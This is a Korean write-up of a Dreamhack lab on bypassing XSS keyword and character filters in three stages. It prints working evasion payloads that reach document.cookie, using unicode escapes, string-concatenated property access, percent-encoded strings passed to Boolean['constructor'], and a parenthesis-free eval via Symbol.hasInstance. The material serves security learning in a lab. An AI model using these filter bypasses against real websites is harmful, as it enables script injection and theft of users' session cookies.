XSS 필터 우회 실습 – 자바스크립트 함수 및 키워드 필터링

https://learn.dreamhack.io/labs/94a55b53-e43a-43c5-b0f0-efd5f99bcf5f

  1. 목표 – 1단계: 주요 함수 및 키워드 탐지
  2. 목표 – 2단계: 강화된 주요 함수 및 키워드 탐지
  3. 목표 – 3단계: 강화된 특수 문자 필터링

목표 – 1단계: 주요 함수 및 키워드 탐지

필터링 규칙은 alert, window, document 문자열이 존재할 경우 실행을 거부한다.

목표는 alert(document.cookie)를 실행하면 된다.

그렇다면 유니코드 이스케이프 시퀀스를 사용하여 해당 필터링을 우회한다.

\u0077indow.\u0061lert(\u0064ocument.cookie)


문자를 유니코드로 표현할 수 있다. 해당 페이로드의 유니코드를 해석하면

  • \u0077 = w
  • \u0061 = a
  • \u0064 = d

가 된다. 최종적으로 window.alert(document.cookie)가 실행된다.

이 밖에도 Computed member access를 이용하여 속성 이름을 이어 붙여 우회가 가능하다.

self['al'+'ert'](self['docu'+'ment']['cookie'])


목표 – 2단계: 강화된 주요 함수 및 키워드 탐지

필터링 규칙은 특정 문자열 및 특수 기호가 존재할 경우 실행을 거부한다.

목표는 alert(document.cookie)를 실행하면 된다.


결국 힌트를 봐버렸다. 그리고 방향성을 잡았다. 아래의 코드를 실행시켜야 한다. 그러기 위해서는 저 필터링들을 우회해야 하는데, 그러기 위한 방법으로 퍼센트 인코딩을 하기로 했다.

Function(alert(document.cookie))()


하지만 이를 실행하기 위해서는 페이로드를 퍼센트 인코딩 후 문자열로 바꿔야 하는데 그러면 Function을 실행시킬 수 없으므로 Function을 대신하여 Boolean[‘constructor’]로 alert를 실행시킬 것이다. 최종적으로 실행시킬 코드는 아래와 같다.

Boolean['constructor']('alert(document.cookie)')()


각 문자열은 퍼센트 인코딩을 수행할 것이니 인코딩한 문자열을 디코딩할 decodeURI 함수를 해당 위치에 배치한다.

Boolean[decodeURI('constructor')](decodeURI('alert(document.cookie)'))()


이제 퍼센트 인코딩을 하고 해당 위치에 배치해야 한다. 퍼센트 인코딩을 수행하는 파이썬의 코드는 아래와 같다.

def full_url_encode(s):
    return ''.join('%%%02X' % ord(c) for c in s)

payload = "alert(document.cookie)"
encoded = full_url_encode(payload)
print(encoded)

payload2 = "constructor"
encoded2 = full_url_encode(payload2)
print(encoded2)


이제 퍼센트 인코딩도 기존 문자열 대신 삽입하면 된다.

Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))()


목표 – 3단계: 강화된 특수 문자 필터링

필터링 규칙은 이전 필터와 다르며, 일부 특수 기호가 존재할 경우 실행을 거부한다.

목표는 alert(document.cookie)를 실행하면 된다.

필터는 이거밖에 안되지만 이거저거 시도했는데 잘 막아낸다. 그래서 힌트를 모두 봤다.


instanceof에 eval가 실행되게끔 Symbol.hasInstance로 덮어쓸 생각이다. 우선 페이로드로 사용할 문자열 먼저 완성한다. “(“, “)”는 필터링에 걸리기 때문에 우회를 해야 한다.


/alert/.source는 ‘alert’가 된다. +로 뒤에 문자열과 이어 붙인다.
[URL+0][0][12]는 URL 함수에 0을 이어 붙여 문자열로 만든다. [0]은 [URL+0] 배열의 첫 번째 인덱스를 가리킨다. [12]는 13번째 문자를 추출한다.


[URL+0][0] 배열의 인덱스로 접근하는 이유는 [12]와 같이 문자열의 인덱스를 지정해야 하는데 배열의 인덱스가 아닌 그냥 문자열로 접근하려면 (URL+0)[12]으로 접근해야 한다. 하지만 이번 문제에서 “(“, “)”를 사용할 수 없으므로 배열로 접근했다.

이렇게 해서 “(“, “)”를 사용하지 않고 alert(document.cookie) 문자열을 만들어 냈다. 이제 이를 실행할 eval를 “(“, “)”를 사용하지 않고 문자열을 실행할 수 있도록 Symbol을 이용해서 eval 함수를 오버라이드 시키고, instanceof로 오버라이드한 변수를 동작시킬 것이다.

eval 함수를 Symbol.hasInstance에 오버라이드한다. 그리고 해당 동작을 exe에 저장하여 eval와 동일하게 동작한다.


instanceof는 a instanceof b를 b(a)으로 동작시킨다. 즉, payload instanceof exe는 eval(payload)가 실행되는 것이다.


이제 스크립트를 실습 페이지에서 적용시킨다.

const payload = /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];const exe = {[Symbol.hasInstance]:eval};payload instanceof exe;

Published by